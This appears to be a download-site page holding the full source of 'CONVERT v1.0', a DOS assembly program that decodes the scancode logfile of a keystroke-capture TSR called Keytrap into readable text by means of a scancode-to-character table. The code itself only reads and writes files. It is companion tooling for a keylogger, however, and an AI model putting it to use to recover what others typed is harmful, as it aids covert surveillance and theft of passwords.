⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 convert.asm

📁 获取键盘扫描码的TSR
💻 ASM
字号:
;
;
; CONVERT v1.0 - Keytrap logfile converter
; By Dcypher (dcypher@mhv.net)
;
; Usage: CONVERT logfile outfile
;
;        logfile - Keytrap's scancode data (logfile)
;        outfile - Specify an output file name
;
;
;----------------------------------------
					;       
	.286                            ;
	.model  small                   ;
	.code                           ;
	org     100h                    ;
					;
start:  jmp     go                      ;
					;
;----------------------------------------
					;
inhandle        dw 0                    ;
inpointH        dw 0                    ;
inpointL        dw 0                    ;
loaded          dw 0                    ;
last            db 0                    ;
					;
outhandle       dw 0                    ;
outoffset       dw 0                    ;
					;
;----------------------------------------
					;
table   db 002h, '1'                    ; scan-code table
	db 003h, '2'                    ;
	db 004h, '3'                    ;
	db 005h, '4'                    ;
	db 006h, '5'                    ;
	db 007h, '6'                    ;
	db 008h, '7'                    ;
	db 009h, '8'                    ;
	db 00Ah, '9'                    ;
	db 00Bh, '0'                    ;
	;                               ;
	db 082h, '!'                    ;
	db 083h, '@'                    ;
	db 084h, '#'                    ;
	db 085h, '$'                    ;
	db 086h, '%'                    ;
	db 087h, '^'                    ;
	db 088h, '&'                    ;
	db 089h, '*'                    ;
	db 08Ah, '('                    ;
	db 08Bh, ')'                    ;
;----------------------------------------                               
	db 01Eh, 'a'                    ;
	db 030h, 'b'                    ;
	db 02Eh, 'c'                    ;
	db 020h, 'd'                    ;
	db 012h, 'e'                    ;
	db 021h, 'f'                    ;
	db 022h, 'g'                    ;
	db 023h, 'h'                    ;
	db 017h, 'i'                    ;
	db 024h, 'j'                    ;
	db 025h, 'k'                    ;
	db 026h, 'l'                    ;
	db 032h, 'm'                    ;
	db 031h, 'n'                    ;
	db 018h, 'o'                    ;
	db 019h, 'p'                    ;
	db 010h, 'q'                    ;
	db 013h, 'r'                    ;
	db 01Fh, 's'                    ;
	db 014h, 't'                    ;
	db 016h, 'u'                    ;
	db 02Fh, 'v'                    ;
	db 011h, 'w'                    ;
	db 02Dh, 'x'                    ;
	db 015h, 'y'                    ;
	db 02Ch, 'z'                    ;
	;                               ;
	db 09Eh, 'A'                    ;
	db 0B0h, 'B'                    ;
	db 0AEh, 'C'                    ;
	db 0A0h, 'D'                    ;
	db 092h, 'E'                    ;
	db 0A1h, 'F'                    ;
	db 0A2h, 'G'                    ;
	db 0A3h, 'H'                    ;
	db 097h, 'I'                    ;
	db 0A4h, 'J'                    ;
	db 0A5h, 'K'                    ;
	db 0A6h, 'L'                    ;
	db 0B2h, 'M'                    ;
	db 0B1h, 'N'                    ;
	db 098h, 'O'                    ;
	db 099h, 'P'                    ;
	db 090h, 'Q'                    ;
	db 093h, 'R'                    ;
	db 09Fh, 'S'                    ;
	db 094h, 'T'                    ;
	db 096h, 'U'                    ;
	db 0AFh, 'V'                    ;
	db 091h, 'W'                    ;
	db 0ADh, 'X'                    ;
	db 095h, 'Y'                    ;
	db 0ACh, 'Z'                    ;
;----------------------------------------
	db 00Ch, '-'                    ;
	db 08Ch, '_'                    ;
					;
	db 00Dh, '='                    ;
	db 08Dh, '+'                    ;
					;
	db 01Ah, '['                    ;
	db 09Ah, '{'                    ;
					;
	db 01Bh, ']'                    ;
	db 09Bh, '}'                    ;
					;
	db 027h, ';'                    ;
	db 0A7h, ':'                    ;
					;
	db 028h, 027h                   ; '
	db 0A8h, '"'                    ;
					;
	db 033h, ','                    ;
	db 0B3h, '<'                    ;
					;
	db 034h, '.'                    ;
	db 0B4h, '>'                    ;
					;
	db 035h, '/'                    ;
	db 0B5h, '?'                    ;
					;
	db 02Bh, '\'                    ;
	db 0ABh, '|'                    ;
					;
	db 037h, '*'                    ;
	db 0B7h, '*'                    ;
					;
	db 029h, '`'                    ;
	db 0A9h, '~'                    ;
					;
;----------------------------------------
					;
	db 039h, 020h                   ; space 
	db 0B9h, 020h                   ; space with shift
					;
	db 00Eh, 011h                   ; backspace
	db 08Eh, 011h                   ; backspace with shift
					;
	db 01Ch, 00Ah                   ; return
	db 09Ch, 00Ah                   ; return with shift
					;
	db 0                            ; End of Table
					;
;==============================================================================
						;
 fprob: mov     ah, 9                           ;
	lea     dx, ferr                        ;
	int     21h                             ;
	jmp     bye                             ;
						;
prtuse: mov     ah, 9                           ;
	lea     dx, usage                       ;
	int     21h                             ;
						;
   bye: mov     ah, 4Ch                         ;
	int     21h                             ;
						;
;------------------------------------------------
						;
    go: mov     ah, 9                           ;
	lea     dx, namver                      ;
	int     21h                             ;
						;
	mov     bx, 80h                         ; 
	cmp     byte ptr [bx], 0                ;
	je      prtuse                          ;
						;
	call    null                            ; 
	call    check                           ;
	jc      fprob                           ;
						;
   go1: call    ldata                           ;
	call    conv                            ;
	call    sdata                           ;
	cmp     last, 1                         ;
	jne     go1                             ;
	jmp     bye                             ;
						;
;------------------------------------------------
						;
  null: mov     bx, 81h                         ; 
 null1: inc     bx                              ;
	cmp     byte ptr [bx], 20h              ; 
	jnz     null1                           ;
	mov     byte ptr [bx], 0                ;
						;
	mov     outoffset, bx                   ;       
	inc     word ptr [outoffset]            ;
						;
 null2: inc     bx                              ;
	cmp     byte ptr [bx], 0Dh              ; 
	jnz     null2                           ;
	mov     byte ptr [bx], 0                ;
	ret                                     ;
						;
;------------------------------------------------
						;
check:  mov     ax, 3D00h                       ;
	mov     dx, 82h                         ;
	int     21h                             ;
	jc      check2                          ;
	mov     bx, ax                          ;
	mov     ah, 3Eh                         ;
	int     21h                             ;
	jc      check2                          ;
						;
	mov     ah, 3Ch                         ;
	xor     cx, cx                          ;
	mov     dx, outoffset                   ;
	int     21h                             ;
	jc      check2                          ;
	mov     bx, ax                          ;
	mov     ah, 3Eh                         ;
	int     21h                             ;
	jc      check2                          ;
						;
	clc                                     ;
check2: ret                                     ;
						;
;------------------------------------------------
						;
 ldata: mov     ax, 3D00h                       ;
	mov     dx, 82h                         ;
	int     21h                             ;
	mov     inhandle, ax                    ;
						;
	mov     ax, 4200h                       ;
	mov     bx, inhandle                    ;
	mov     cx, inpointH                    ;
	mov     dx, inpointL                    ;
	int     21h                             ;
						;
	mov     ah, 3Fh                         ;
	mov     bx, inhandle                    ;
	mov     cx, 60000                       ;
	lea     dx, eof                         ;
	int     21h                             ;
	mov     loaded, ax                      ;
	cmp     ax, 60000                       ;
	je      ldata2                          ;
	mov     last, 1                         ;
						;
ldata2: mov     ax, 4201h                       ;
	mov     bx, inhandle                    ;
	xor     cx, cx                          ;
	xor     dx, dx                          ;
	int     21h                             ;
	mov     inpointH, dx                    ;
	mov     inpointL, ax                    ;
						;
	mov     ah, 3Eh                         ;
	mov     bx, inhandle                    ;
	int     21h                             ;
	ret                                     ;
						;
;------------------------------------------------       
						;
  conv: mov     cx, loaded                      ;
	lea     si, eof                         ;
						;
 conv1: lea     di, table                       ;
						;
	cmp     cx, 0                           ;
	je      conv6                           ;
						;
	mov     al, byte ptr [si]               ;
 conv2: mov     ah, byte ptr [di]               ;
	cmp     ah, 0                           ;
	je      conv4                           ;
	cmp     ah, al                          ;
	je      conv3                           ;
	add     di, 2                           ;
	jmp     conv2                           ;
						;
 conv3: inc     di                              ;
	mov     al, byte ptr [di]               ;
	mov     byte ptr [si], al               ;
	dec     cx                              ;
	inc     si                              ;
	jmp     conv1                           ;
						;
 conv4: mov     byte ptr [si], 20h              ;
	dec     cx                              ;
	inc     si                              ;
	jmp     conv1                           ;
						;
 conv6: ret                                     ;
						;
;------------------------------------------------
						;
sdata:  mov     ax, 3D02h                       ;
	mov     dx, outoffset                   ;
	int     21h                             ;
	mov     outhandle, ax                   ;
						;
	mov     ax, 4202h                       ;
	mov     bx, outhandle                   ;
	xor     cx, cx                          ;
	xor     dx, dx                          ;
	int     21h                             ;
						;
	mov     ah, 40h                         ;
	mov     bx, outhandle                   ;
	mov     cx, loaded                      ;
	lea     dx, eof                         ;
	int     21h                             ;
						;
	mov     ah, 3Eh                         ;
	mov     bx, outhandle                   ;
	int     21h                             ;
	ret                                     ;
						;
;------------------------------------------------------------------------------
						
namver  db 10,13                                
	db 'CONVERT v1.0',10,13                 
	db 'Keytrap logfile converter.',10,13
	db 'By Dcypher (dcypher@mhv.net)',10,13
	db 10,13,'$'

usage   db 'Usage: CONVERT logfile outfile',10,13                          
	db 10,13                       
	db '       logfile - Keytrap',27h,'s scancode data.',10,13
	db '       outfile - Specify an output file name.',10,13
	db 10,13,'$'

ferr    db 'WARNING: Problem with one of the files.',10,13
	db 10,13,'$'

;------------------------------------------------------------------------------

eof     db 0
	end	start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -